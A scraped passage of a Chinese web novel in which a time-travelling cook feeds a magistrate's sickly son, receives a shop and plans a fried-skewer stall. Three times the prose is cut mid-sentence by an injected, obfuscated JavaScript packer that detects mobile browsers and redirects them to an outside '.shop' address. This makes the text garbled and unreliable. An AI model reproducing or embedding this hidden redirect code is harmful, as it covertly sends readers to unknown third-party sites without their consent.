齐心笑着：“自然使的，不过顺手的事儿。” 等到了厨房，彭娘子将她交给自家厨娘：“齐姑娘需要什么，你好好配合就是。” 她客气谢过，粗粗打量了一眼这衢家的厨房，比家里那个漏风的灶房可强多了，打理得规规整整，面前两张大桌上摆满了新鲜的食材，还有不少瓶瓶罐罐，估摸着都是调味用。 齐心从身上取下一个陶罐，那是她出门前用麻绳捆了背在身上的。 “姑娘这是自己带了秘料来？” 彭娘子其实早早就看到了这罐子，只是齐心不说，她也不好问，这会儿取下就定是要用的东西，这才忍不住好奇。 齐心将那陶罐盖子揭开，送到她眼前。 初时不觉，渐渐一股特别的酸香味悠悠飘出，直往人鼻子里钻，一个激灵，像是重新醒神了一般。 彭娘子眼睛瞬间便亮了：“这是？” “这是自家做的泡萝卜，大娘子今日说公子没什么胃口，这东西最是生津开胃，我便自作主张带过来，若是娘子愿意，可以一试。” 看向齐心的目光多出一丝赞赏，彭娘子忙取过一双筷子，从陶罐里夹出一片萝卜，这泡萝卜看着平平无奇，也不知是怎么做出来的。 送到嘴边咬下一口。 “咔呲——” 这脆劲儿，只用听便知是好东西，萝卜上还有剩余的泡菜水，舌尖刚沾上那酸爽的滋味便激得唇齿间冒出许多口液来，这会儿再嚼，慢慢竟能品出一点回甘。 彭娘子情不自禁又吃了两三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116449|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片，这才勉强忍住。 “姑娘见笑了，我平日里就爱吃些酸溜溜的东西，这泡萝卜果真如你所说，生津开胃，这不过吃了三两片，我便觉得自己一会儿能多吃下一碗面了，我定要叫我家那小子试上一试！” 齐心对彭娘子的反应很是满意，她也是今日收摊回家才又想起这差点被她遗忘的泡萝卜，放了好几日，怎么也该好了。在家中先自己偷尝了一片，又酸又脆，虽不如后世有鲜辣椒和泡椒一起制的萝卜水，但放在这里也算不错了。 添了一碗给段婆婆和阿娘都尝过，也说不错，她这才起了带到衢家来的心思。 “娘子若是喜欢，我明日出摊再带上一大罐，娘子派人去取就好。” “这，这怎么好意思…” “也不是什么贵重的东西，娘子夸了我的东西，我高兴还来不及呢！” “那我可就不客气啦！” 齐心见她正高兴着，话题自然地带远： “公子喜食番柿，除了这打卤面，我这儿倒是还有些别的新鲜吃法，娘子可想一试？” 彭娘子很是惊喜：“还有别的新鲜式样？那…只怕是太麻烦姑娘了。” “不麻烦，用料做法也简单，若今日吃得好，我可将方子给您，日常在家里多做做也方便。” 彭娘子喜滋滋地走了，只留下齐心和厨娘。 各种用具于她用着不趁手，放置的位置也不够熟悉，是以准备食材时，她的动作看起来有些生疏。 那厨娘在彭娘子走后便倚靠在门边，高抬下巴，轻蔑地看着齐心这边的动静。 一开始听说要请一位外头的摆食摊儿的回来给小公子做饭，她便有些不忿，这会儿见齐心这副样子，她更觉大娘子是被骗了，不由冷笑一声： “呵，我说姑娘，就你这样儿的，也敢骗我家大娘子，你进门前也不看看吗，这可是原武县的县令家宅！看你年纪小的份儿上，我便教教你，要我说你还是直接去同大娘子请罪，最多骂上一顿将你赶出府便罢了，别再做出一团不知所谓的东西来，惹贵人不快，那可就没有后悔的余地了。” 齐心抬头深深地看了她一眼，没说话。 厨娘被看毛了，啐了一口： “看什么看，我是看你年纪小，好心提醒你，瞪着个眼睛，你当我怕你呢，我可是县令家的厨娘！老爷和大娘子，还有家里两位哥儿都只吃得惯我做的饭食，你一个外头摆食摊儿的算个什么货！” 听着那越发尖细的声音，齐心皱眉，默默翻了个白眼，收回视线。 她那泡萝卜的酸，都比不上眼前这位的倒瓶醋厉害。 谁知那厨娘竟怒火中烧，弃了门框扬了手，脚下生风冲着齐心就奔了过去。 “你这小蹄子竟敢冲我翻白眼，我今日就叫你尝尝我的厉害！” 24. 第 24 章 齐心这会儿脑子有些懵，脚步也是飘忽的。 她身上的衣裳已换了个样儿，女使说这是彭娘子年轻时的衣物，顶顶好的罗绮①料子，衣摆和衣袖都绣着生动的花鸟图样，衣裳又轻又薄，饶是齐心不太懂也知它定价值不菲。她近来穿惯了棉布和葛麻扯做的衣裳，这会儿穿着这样柔软丝滑的衣裳还有些不适应。 脸颊上时不时传来清晰的刺痛感，不断提醒她方才经历了一场“恶斗”。 那厨娘实在是个勇猛的，膀大腰圆，一巴掌挥过来甚至还带了风声，她差点没躲过，当时顾忌着手中的菜刀，怕伤了自己也怕伤了人，这才动作慢了点。见那厨娘又要动手，她火速放下菜刀，立即灵活地躲闪起来。 怪只怪她不熟悉这厨房，不小心绊了脚摔倒，慌乱中扒拉着手边的东西，砸了自己一身的菜叶面粉，结果还是摔在了地上，那厨娘趁势立即扑了过来，正要抓她的头发就被外头来的婆子女使给拦下，这才没真的打起来。 现在想想，齐心还是有些后怕。 她抬手看了看自己骨节明显的手腕，暗自叹了口气，往后得多吃点才行。 什么以瘦为美，结结实实的健康才好呢！ 深呼吸了好几次给自己打气，这才重新开始干活儿。 耽搁了这样久，她还得赶回去给段婆婆和阿娘做晚饭呢，不然她俩只怕是又要吃些奇怪的东西了。 这些日子齐心其实发现了一个问题，这会儿虽有了番柿，可世人对它的开发运用还不足百分之一，多只当做果子生吃，她今日便还能再捡个漏儿。 没急着做打卤，先是挑了几个个头小小的番柿，她轻轻捏了捏，还算是有些硬度。在起了火的灶膛中滚上一圈儿，再快速浸在凉水中，那皮儿便能轻易剥下来，每个番柿都被她切成了四瓣儿，挖掉中间滑软的籽放进陶罐备用。 等到锅里的水烧开，她在灶房的瓶瓶罐罐里找到话梅和冰糖，话梅放下七八颗，冰糖则挖了一勺，转了小火，一边熬一边用炒勺不停地转动着，免得糊了。 等到糖水渐渐变成了漂亮的琥珀色，推起来也有了阻力，她这才停手，把熬好了的糖水倒进刚刚盛放番柿的陶罐，加上两勺鲜甜的蜂蜜增香，轻轻搅拌均匀，盖好盖子密封。 做完这些，她便上厨房外头寻了个看着好说话的女使。 “这位姐姐，请问家中可有冰？” 宋时藏冰的技艺已近乎成熟，甚至能供应市场，是以家中有些底子的，这夏日也能用得上些，像段娘子那种冷饮摊子也如雨后春笋般冒头，齐心打量这衢家不像是什么贫苦人家，她这才敢问出口。 那女使果然点了头：“倒是有冰，姑娘可是要做冷果饮？” “那倒不是，只是想劳烦姐姐帮我把这罐子放到有冰的地方放着就行，过上半个多时辰再将它取出来。” 女使犹豫片刻，想起主母交代的配合，还是点了头：“好，姑娘交给我就是。” 剩下的，便是齐心已经很是熟练的打卤面，出摊的三个口味，她都按着彭娘子所说各准备了些。 刚泡好的番柿女使已帮她取回，她揭开深嗅了一下，与她在后世吃过的梅渍小番茄味道已很相近。 盛出一小碗，齐心却看到番柿切口的表面有些不平整，质地看起来略差一些，她不得不先尝上一口。 “味道倒是还不错，不过口感稍差一些，可惜没有圣女果，只能用番柿勉强替代了。” 早就洗好的薄荷和黄瓜，与盛出的一碗梅渍拌在一起，无需多余的调味，一份另类的蔬菜沙拉便做好了。 齐心对自己今日的成果很是满意，花花绿绿看起来还很丰盛的样子，一时间几乎都忘了前头发生的闹剧。 跟着婆子女使们一起到正院儿上菜，那番柿鸡子卤、梅渍番茄和番柿沙拉都各盛了一份送到她家二哥儿屋里去。 看了看日头，真是有些晚了，可彭娘子没出现，齐心也不好直接开溜，只得扯了扯方才麻烦过的女使袖口。 “这位姐姐，你家大娘子何时过来啊？” “估摸着是在二哥儿房中看他用饭呢……” 彭娘子确实如她所说，这会儿正看着衢平用饭。 那一碗打卤面刚端到床旁，本虚虚游移着的目光瞬间便精神了些，紧盯着那琢盘②目不转睛。 “阿娘，咱们府中的厨娘也会做打卤面了？” “这是娘特意将人请到府里给你做的，你快尝尝。” “是那小娘子亲做的？！” 衢平身上来了两分力气，借着婆子的手坐了起来，下头的女使忙在榻上支了小桌。 本还在高兴有心心念念的打卤面可吃，转瞬又被那道梅渍番柿吸引了视线，他指着那一碗红彤彤的好奇问： “这又是什么？” 彭娘子回头去看那后厨来的女使，就听她答道：“齐姑娘说这个是叫梅渍番柿的，用梅子糖水泡着，在冰窖里放足了半个多时辰才捞出来，酸酸甜甜，最是清爽开胃。” “还有另一道齐姑娘说是叫……叫什么沙拉的，便是用这梅渍番柿拌的凉菜，佐着打卤面吃正好。” 衢平一听都是自己爱吃的番柿做的，不由得舔了舔有些干燥的嘴唇，拿起筷子先尝了一口那梅渍的。 “好甜！” “嗯——还有点酸！梅子味儿也很足，阿娘，这个比打卤面还好吃！” 彭娘子听他品着酸，胃里的馋虫也被勾了起来，她爱吃酸，家中这梅子也是常备的，怎么就想不出来搭着番柿做呢？ 这齐姑娘还真是个奇才。 她没忍住分吃了一口，只轻轻咬下，那被腌渍过的番柿汁便在口中爆开，果真如衢平说的先是一股鲜甜味儿，再仔细嘬上一口，那梅子的酸香气便直直往喉咙里钻，虽不似直接吃酸梅子那般霸道，但她还是眯了眼睛。 满足！ —— 齐心等得打了一连串的哈欠。 那女使眼看她等得有些急了，忙安抚道： “姑娘稍候，大娘子想来不多时便能过来了。” 齐心越过飞檐看向外头的天色，日头已偏西，橙红的日光斜斜地映在回廊的青瓦片上，院中的青葱树木也染了红，叫她眼中这大气的宅院更添了一丝古韵。 大宅子可真好看！ “齐姑娘，久等了！” 那女使话音刚落，彭娘子便从后头走了出来，嘴角几乎要弯到天上去，见到齐心便热情地招呼上，比今日刚见时更亲近些。 不等齐心开口，彭娘子便握住了她的一双手，是又高兴又激动： “多亏了你，我家平哥儿今日总算是吃下东西了，这几日病着郎中也说是他往日吃得太少，又总是吃了再吐，身子骨弱，这才会小病不断，让我多寻些他能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128523|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃下的东西多吃些。可这些日子家里不管是做什么他最多也不过吃上两三口，再多便还是要吐。”说着抹了抹眼尾的泪，“只齐姑娘你今日做的东西奇了，平哥儿不仅能吃，甚至还吃了大半，怕他忽然多吃伤了肠胃，我勉强叫停才罢。” “我…我都不知该如何感谢你才好！” 齐心见她声泪俱下的样子，也是鼻尖一酸，她是个眼皮子浅的，最受不得这样的慈母落泪。 “公子能吃下东西是好事儿，若是需要，我便把今日这道小食的方子给娘子，能帮着多吃些也是好的。” “这…这怎么使得！” 食料方子可是做饭食买卖人最重要的东西，这齐姑娘却似乎总是不以为意，那打卤面还能说是信她的为人，不怕泄露，可这梅渍番柿却是实打实的要把做法给她，这姑娘莫不是个傻的？ “不过是很家常的简单做法，娘子不必在意。就是要劳烦给我一份纸笔，我将法子写下，到时让厨娘照着做就是了。” 说起厨娘，彭娘子便面露尴尬。 “齐姑娘快别说那厨娘了，我将你请来府中帮我做面，她竟敢这般打杀你，我这脸面都不知该往哪儿搁了，厨娘我已着人狠狠罚过了，还望姑娘别与她一般见识。今日你肯这样帮我，我定是要好好酬谢你的。” 齐心很想说自己今日其实没真的被打，虽不爽那厨娘莫名其妙将她视作了敌人，可也不想就此冤枉了人。 但彭娘子说完就回头看向了身后的女使，没给她说话的机会。 那女使走上前将一个小匣子放在彭娘子手中。 “我在团街有一处铺子，铺面不大，也不知该做些什么便一直空着，这铺子便赠与姑娘吧。” 齐心本只想着以彭娘子的气度和这县令家宅的底蕴，估摸着能送上她一两贯银钱，可…… 她瞪大了眼睛：“铺…铺子？” 彭娘子的财大气粗远超她的想象了…… 可这当事娘子却静静笑着看她：“姑娘是嫌少？” “不不不……” 这是给得太多吓着她了啊！ “这铺子在团街的位置并不算好，姑娘不必太有负担，且这不仅仅是酬谢姑娘今日的帮助，也是赔罪，更因我还有一事相求。” 齐心愕然，倒是没想到还有一茬：“娘子折煞我了，有什么需要直说便是。” “我家平哥儿这病症怕是一时半会儿好不了，就算好了，只怕也还是难寻得什么愿意吃的好饭食。所以想让姑娘没隔上两三日便来府上替他改善改善，就做些像梅渍番柿这样的新鲜玩意儿，不知姑娘是否愿意？” 齐心略一思忖，这是要找个长期上门做饭的厨子的意思了。 “自是愿意，只是这也值不上一个铺面，这酬劳实在太贵重了，娘子还是寻个别的赏吧。”她的手抚上脸颊，“今日厨娘虽有意动手，但这伤实则是我自己摔出来的，还请娘子酌情惩处。” 彭娘子一愣，转瞬又笑了：“你这姑娘倒有趣，这是要我不能不罚又别罚重了？你放心，我心里有数。” 齐心一听，便当厨娘这事儿翻了篇儿。 彭娘子牵过她的手，把从匣子里拿出的地契放在她手中： “还有一件难事儿，我家老太爷寿辰在即，我想替他布一桌新奇好吃的寿宴，姑娘想来会做的不止这一两种，我想让姑娘替我想想办法。” 25. 第 25 章 齐心双手捧着一张薄薄的纸，一双眼睛发直，木然地跟着女使往衢家外头走去。 “哥儿，您回来了。” 女使忽然顿了脚步，齐心差点一头撞到人背上去，这才回神，看着突然出现的人。 这好像是她那日在县学门口问过的那位看守，他竟是县令家的儿子？ 衢宁也看着她，有些眼生。 噢，倒也不算眼生。 这不是那日寻到县学门口问有多少学子的“傻”姑娘吗？她怎么在这里？ 不过人靠衣装，今日穿这一身淡蓝色罗绮水裙，竟衬得她多了几分娴静，只是这会儿捧着张纸的模样还是有些傻。 他瞥了一眼。 噢不对，那好像是张房契。 他看起来很是无奈，问那女使：“我娘又送人铺子了？” “是。” 齐心眨巴眨巴眼睛，什么叫又？ 衢宁把视线从她身上移开，只问那女使：“怎么回事？” 女使言简意赅将齐心被请来做饭，且被家中厨娘打了一顿的事儿同他说了。 衢宁的脸色不甚好看，家里那厨娘他是知道的，脾气不算好，但一家子就偏爱她那一手好厨艺，平日里只在后厨跋扈些便也睁一只眼闭一只眼，今日竟敢动主子的客人，甚至动了手，这真是反了天了。 他看到齐心脸上明显的挫伤，红了一片。 这一下，齐心在他眼中就从单纯的傻子，变成了任人欺负的傻子。 难怪娘要用铺子与人赔罪呢。 “哥儿若无事，快去正院儿用饭吧，主君和大娘子正等您呢。” “我知道了。” …… “官人，这就是我同你说的打卤面，今日辛苦齐姑娘将口味全做齐了，你快尝尝。” 彭娘子说着主动盛了一碗放在自家官人面前，抬头就见衢宁回来了，忙招呼他坐下用饭。 “宁儿快来，这打卤面你也还没吃过吧？” 衢章抬眸觑了一眼大儿子，冷哼一声，也不管他，自顾着吃起来，没等他囫囵两口，便止不住地“嗯嗯嗯”地赞叹起来。 “好吃啊！这姑娘年纪虽小，倒是有些手艺。” “是呢，她还颇有些巧思，总能做出些不寻常的东西来，今日给平儿做的梅渍番柿也很不错，他差点没一顿吃了。” 说起小儿子，衢章脸上的冷峻才稍稍柔和了些：“能吃下便好，他那身子多吃些才好得快。” “还有一个月便是老太爷的寿辰，我请她帮着想几道新奇的菜色，到时席面上添进去，想来老人家也会高兴的。” “夫人有心了，这安排最是妥当了。” 衢宁看着自己面前的一碗打卤面，又想到方才看到的齐心。 这便是那日在县学时她说的东西吧？ 她竟真是个食摊儿的摊主。 难得有娘愿意特请回来做饭食的疱人，他决定好好试试。 只需一口。 “确实不错。” …… “真的？” “什么？！” 段婆婆和张秋玉也是两脸一懵，这会儿的惊吓不亚于齐心在衢家听到时那样。 “那县令夫人真说是送给你的？” 段婆婆将那契书接过来翻来覆去看了一番，她虽不识字，却也是见过契书的，这张纸上的规格模样确实和从前见过的契书很是相似。 齐心这会儿已经从天上真掉馅饼儿了的惊喜中缓了过来，她点点头： “是，不过彭娘子说这也不全然算是送，这往后我每隔两三日便要上衢家给她家小公子做饭食，还有她家老太爷一个月后的寿宴，也邀了我去做些有新意的菜，这一个月若是做出新的了，都要拿去给她试菜，最后要定下来十道，寓意十全十美。” “你应了？” 张秋玉又从段婆婆手中接过了那张契书，仔细看了看，果真是团街的铺子，她抬眼看向起齐心，眼中都是震撼的感动： “我…我姑娘真是出息了，便是县令夫人也要主动找你帮忙办事了，这得多重视的寿宴才会送这样大的礼啊！” 可段婆婆看起来却比张秋玉冷静许多：“你都想好了吗？” 齐心回来的一路上已想了许多，刚走出衢府时她也有犹豫过，甚至走出了一段还在想要不干脆掉头将契书还回去算了，可真转身要回去时，她又后悔了。 为何不能一试？ 她手里可是有美食论坛啊！ 再说这些日子做出的东西，显然她在做饭这件事儿上也算得上颇有些天赋，有何可惧？ 她摸着小心揣着怀中的契书。 若是有了铺子，往后别说一百碗打卤面了，一日便是两百碗她也能做得出来，那修补漏风的旧屋就近在咫尺了。 她笑起来，坚定地对上了段婆婆的探究目光： “嗯，我都想好了，我一定可以的。” 段婆婆终于赞赏地点了点头： “那这些日子你专心准备寿宴就好，家里别的活儿自有我和你娘，无需你耽搁时间操心了。” 张秋玉听着也要狠狠点头，她如今已能完全靠自己下地走动了，家中轻省些的活儿她也是能搭上手的，已不是之前困在床榻上浑身无力的时候了。最近眼看着这个家又有了希望，那些难过的事儿也少了想起的次数。 她拍拍齐心的手背：“是呢，阿娘现在也能帮上忙了。” 齐心见状，鼻头有些酸，一股脑冲进阿娘的怀中，腾出一只手还要去牵段婆婆，段婆婆只稍一挣扎没能抽走，便也不动了。 “婆婆和阿娘对我真好……” 被怀抱闷住的嘟囔声只隐隐约约飘出。 …… 今晚齐心准备做点口味不一样的东西。 从衢家回来的路上她多挑了几块老豆腐和鱼际①。 老豆腐切成规整的方块儿，鱼际则削皮切成段再把肉芯挖掉一点儿，那挖掉的部分她也没浪费，全都切成了鱼际碎放在一旁，再日常备上姜蒜末一会儿炒味。 剁上一点儿肉馅，往里加一点姜蒜末，稍用一点酱油和盐调味即可，鱼际碎也正好放进去，一会儿肉馅吃起来便会鲜而不腻。将肉馅用筷子顺时针搅匀，把味道全都吃进去后捏出一个个的小团，正放在刚挖好的小坑里。 锅里的水烧开上了汽，就把堆好的鱼际装盘放进去蒸熟。 重起一锅烧油，把豆腐块儿倒进去用油炸过，看着表皮渐渐变成焦黄的焦脆形态，用炒勺轻轻刮碰，就能听到“呲呲”的响声。 齐心已经想到从前夜市摊上吃到的味道了，许久不吃辣，她已经馋得不行，若不是有商城，她岂不是这辈子都吃不上辣了？ 心里不断庆幸着，把炸好的豆腐捞出，炸过的油单独放在一个罐子里，锅里只剩一点底油，倒入蒜末煸香，再掏出“珍藏”的辣椒面挖出一大勺，没有菜谱里说的孜然粉她便多加了一勺豆酱增加香味儿，用小火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138112|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将这调味炒匀激发出辣香味儿。 趁这会儿倒入一小碗开水，生抽耗油盐和糖齐齐上阵，这料汁已足够香了，可要想这浇汁豆腐能挂汁，就少不了面，用炒勺绕圈推动着，少量多次加入这水面粉，一直烧到料汁冒泡呈现出微微粘稠的状态，最后撒上一点芫荽点缀，这料汁便成了。 往刚炸好的豆腐上一浇。 齐心端着盘子凑近一闻，鲜辣味儿直直沁入心脾。 那头的鱼际正好该出锅，她几乎觉得自己已经掌握了时间管理的诀窍。 盖子揭开的一瞬，肉香味儿便扑面而来，鱼际的颜色还保持得很好，脆嫩的绿色配着肉的粉白色，看起来很有食欲，盘底一点儿蒸鱼际的原汤单独倒出来，重新起锅煸香蒜末再把原汤倒入，也来上一点水面粉勾芡，最后撒入一点新买来的鸡精，混着盐将芡汁烧好全数浇在盛好的鱼际酿肉上头。 一手一盘端详了片刻，她却笑出声来。 一红黄，一绿，这不是红绿灯吗？ 段婆婆已被灶房的异香味儿吸引过来了。 “今日做的什么，这味道怎从未闻过？” 齐心嬉笑着挤眉弄眼：“秘密。” 段婆婆也不深究，帮着盛了饭一起端进堂屋。 张秋玉这会儿正帮着看顾院儿里的鸡鸭，当时巴掌大的鸡崽儿鸭崽儿如今已长大许多，些微变了模样。 齐心去搀她进屋时，瞧了一眼，不由得感叹：“日子过得可真快，这鸡鸭都长大这么多了。” “你整日都在灶房里忙，冷不丁这一瞧，可不就是变化大嘛！” 三人入了座，齐心往两人碗里各夹了一块儿浇汁豆腐和鱼际酿肉： “这豆腐刚炸过的，小心烫。” 那豆腐块儿上挂满了红润的料汁，张秋玉怕烫，小心咬了个角，入嘴先是浓烈的豆香味儿，然后才是那新奇的味道。 “嘶——这是姜辛味儿？”她皱着眉将那豆腐块儿端看了好一会儿，“好像也不是，心儿，你这到底是什么？” 齐心嘿嘿一笑，刚想说话，段婆婆便打断了。 “好吃就是了，孩子自己的方子，不问也罢。” 张秋玉认同地点了点头：“也是。” 齐心顿时有些语塞，阿娘对她是不是也太包容了，怎么这么轻易就放弃了，她费尽心思想出来的借口这会儿也毫无用处了。早知如此，她还焦虑个什么劲儿。 齐心·挠头无奈.jpg 宋时世人已对辛味儿有了偏爱，便是段婆婆和阿娘也不例外，所以今日这辣椒调的浇汁豆腐她们接受还算良好，只是免不了多要了几口凉水下肚。 水足饭饱后，齐心终于寻着机会说了自己的计划。 “我准备过两日就开始卖炸串，早些攒够了钱，将那铺子置办一番，咱便能有个稳定落脚的地儿了，那铺子我决定到时与彭娘子商议商议，以租赁的形式，若她还不肯要，那我便当她入了股，往后每月有了收益，便与她分红，不然总觉得心里过意不去。” 张秋玉欣慰地看着她：“这主意好，你如今真是长大了，自己也能有这样好的主意。” “阿娘再夸我都要不好意思了。”她笑着又看向段婆婆，“不过这炸串若是要卖，我还需要许多竹签，婆婆可知哪里有卖的？” 不等段婆婆开口，张秋玉倒先有了推荐： “何必舍近求远，那头的许娘子便是做竹编手艺的，你若要竹制品，找她定没差的。” 26. 第 26 章 翌日，齐心照常出摊，却看见了一位意外的新食客。 “齐姑娘，我要一份经典卤。” 那食客说完就在摊车上放下八文钱。 齐心抬头看了一眼。 竟是衢家大郎，衢宁。 “小郎君来啦！之前说了要请你一碗的，这钱你快收回去。” 衢宁抿唇：“昨日的便算请过了。” 齐心愣了一下，旋即反应过来他说的是昨日去衢家做的那顿打卤面，想来是一家子都吃过了，她眼睛弯起来： “那用的都是你家的食材，哪里能作数？小郎君快收回去吧，不然我不变成不信守承诺之人了？” 衢宁沉默片刻，听话地又把钱捡了回去。 “多谢齐姑娘。”他似是思忖了一番，又道，“家里的厨娘我娘已打发出去了，昨日的事儿实在抱歉，你……” 不等他的话说完，后头排队的食客已等不及： “前头的郎君快点吧，我们后头的都饿得前胸贴肚皮了！齐小娘子好看大家都晓得，可你也不能这般借机啊！” 顿时哄笑声一片。 衢宁说不下去了，上一旁找了个地方坐下，垂着头不知在想些什么。 那后头的食客还不罢休。 “这小郎君脸皮忒薄，耳根子都红了！” “就咱齐妹子这样好的，怕是有几位要打一架才行了！” “哈哈哈哈哈哈——！” 齐心无奈，说这话的都是些常来吃面的叔伯，刚开始听这些还有点不好意思，听多了便也只能任由他们去了，左右不过是两句玩笑，也伤不到她什么。 寻了空，她将今日带来的泡萝卜罐子交给了衢宁。 “这是昨日与彭娘子说好了送她的泡萝卜，我一会儿便要收摊了，只好劳烦小郎君带回去。方才那些叔伯说的话你别放心上，他们只是说笑的。” “无妨，我没放心上。”他顿了顿，又补充一句，“你家打卤面很好吃。” 齐心一听就乐了：“小郎君爱吃就好！” 如今她这食摊儿已很稳定了，来的多是熟客，日日就这三个口味他们换着吃，似总吃不腻似的。齐心有时都忍不住自我反省，是不是该再开发开发新口味？ 可就她收了食摊儿准备离开前，隔壁段娘子拽住了她，小心瞧了一眼周围，见没人往这边看，这才凑到她身边小声耳语： “妹子，我还是觉得得同你说说，最近你真要注意些了，今日来吃打卤面的食客我瞧着有两个不太对。” 齐心即将下班的快乐脸一顿： “哪里不对？” “那俩其中一个瞧着像是当头那家汤饼店的伙计，我之前去他家吃过，因而有些印象，你…总之你多多注意吧。” 齐心顺着段娘子的目光朝团街那头看了一眼。 “多谢婶婶提醒，他们既愿意花钱在我摊子上吃便吃，来者是客，不过我最近也会多多注意的。” 段娘子眼看着祖孙两人推车远走的背影，默默叹了口气。 这妹子，还是太年轻，哪真有什么来者皆是客的道理。 … 收摊回家，齐心先往隔壁许娘子家跑了一趟。 张秋玉刚推荐许娘子时，齐心还是有些犹豫的，可听说前些日子张秋玉摔在院子里，还是许娘子碰巧路过瞧见搭手帮了忙，她才不至于一摔不醒。自那日之后，许娘子每日下午总会借口上齐家门口瞧上一眼，后来和张秋玉熟了，便也进院子里坐上一会儿。 齐心听得前半段紧张又心疼，到了终末，对许娘子的印象也从不熟的邻居变成了好人邻居。 竹签总是要用的，上外头去找，不如就近找一个，便是拿货也更方便。 “许婶婶，你在家吗？” 齐心站在许家门口，朝着里头喊上一声。 许娘子闻声从屋里走了出来，手里还抱着一个竹编篓子，齐心只一眼便打定了主意，这活儿她看定许娘子了。 “你是……张娘子家的姑娘？” “婶婶好，今日贸然过来，是有个事儿想同婶婶商量。” 许娘子见齐心笑得乖巧，默了默，还是给她开了院门。 “快进来吧，坐着说。” 齐心顺着许娘子的指引进了堂屋坐下，眼看那个篓子也被顺手放在了桌上。 “这是许婶婶的手艺吧？我可以看看吗？” 许娘子摸不准她葫芦里卖的什么药，可看着实在不像是来找事儿的，便还是依言将竹篓推到了她手边。 齐心将那篓子举起来仔细欣赏，别看不过是个鱼篓，却也能瞧出制作人的手艺，每一根竹条切得粗细均匀，竹条边上明显是打磨过的，不至于扎手，竹条间的架构间隙都编得匀称，这手艺，这细致的心思，若随便找个外头卖的，可真不一定有许娘子的好。 “许婶婶的手艺可真好。”齐心毫不吝啬夸奖，“我也不拐弯抹角的了，除了想谢谢婶婶对我阿娘的帮助，我还有笔生意想同婶婶谈。” “……与我谈生意？” 许娘子更摸不着头脑了，懵然看着齐心的嘴一张一合。 “嗯，想来我阿娘也跟婶婶提过，我现在都在团街摆食摊儿，过两日准备上个新品，现在就只缺一样东西。” “什么东西？” “竹签。” “这东西外头随意便能买到，你……” 齐心也不是盲目就决定了许娘子，今日回家前顺便在外头寻了两家卖竹制品的铺子看过，卖的竹签不仅量少，样子也不是她想要的。 “外头的竹签做得粗糙，且粗细长度不是我想要的，我只要比巴掌稍长的竹签，签身细一些，一头还得削得尖尖的，打磨得光滑些，婶婶若是能做，我便先订上一批，往后还需长期供货，婶婶可愿意？” 许娘子似是被这消息砸晕了，唇齿微张，好半晌才问：“妹子想要多少？” “第一批先要两百根，明日就要。外头铺子我看过，十根竹签两文，两百根便是四十文，这是个费时的活儿，且我要求更高要得也急，我愿给婶婶多加一倍，往后长期供应，给婶婶按十根三文算，如何？” 许娘子在心头盘算了一番，这竹签做顺手了，一日四百根也是削得出的，那便是一百二十文了，若齐心真能长期收货，那可比她这两三天才能卖出几件的编篓挣钱多了，可若是不能长期收货…… “这……” “婶婶可是觉得少了？” “不…不是，竹签这活儿我从前做过，可实在销不出去，这才转来做这编篓，你要这么多竹签用得完吗？” 齐心脸上笑容自信： “婶婶放心，往后只怕一日两百根都要不够呢！” “我……” 齐心看出她的担忧：“我知婶婶是怕这生意不能长久，反倒耽误了现在的手艺出货。那咱们就先试上几日如何？若是不成，也可及时收手，这第一批的八十文，我今日便可先结给您。之后的合作若是能定下，我再同婶婶签契书，这样于双方都是保障。” 许娘子见她极有底气，且说话条理很是清晰，就连往后的保障都考虑到，分明是个想得定的…… 一咬牙：“好，那我明日先供妹子你两百根竹签。不过一会儿你怕是要再留一会儿，先给我定下一根的式样，之后的我便知道了。” 齐心高高兴兴地从钱袋子里数出八十文钱交给许娘子，再冲着她伸出了右手。 许娘子自是不懂她的意思，可很快，她放在桌上的右手就被齐心一把抓住，互相捏着虎口握了握。 “合作愉快！” —— 有了许娘子的竹签，齐心准备多日的炸串终于抬上了食摊儿。 等打卤面全都卖空，齐心火速拾掇了一番，架起油锅，用大竹盘摆上穿了串儿的新鲜菜品，每个区域的菜品都标注了不同的价格，秘制酱料就板板正正地摆在油锅旁，还有一盆提前调好的糊。 那打卤面的菜单子她已经撤了下来。 这些日子她已然发现，许多食客其实并不识字，这炸串食材一目了然，价格也按顺序摆好，只需说一嘴就是。 “哟，齐妹子，你这是又要卖上菜了？不过怎都切好了？” 还在小摊桌上吃饭的最后一批打卤面食客，瞅着她的动静，忍不住好奇。 “不是卖菜，今日开始我便还要卖这炸串！” “炸串？这名字倒是一听便知是什么意思了，就是不知吃着是什么味道。” 齐心笑而不语，等锅里的油烧得热了，当着凑热闹的众食客的面，往酱料上浇上两大勺，一边浇一边用筷子不停地搅拌着。< 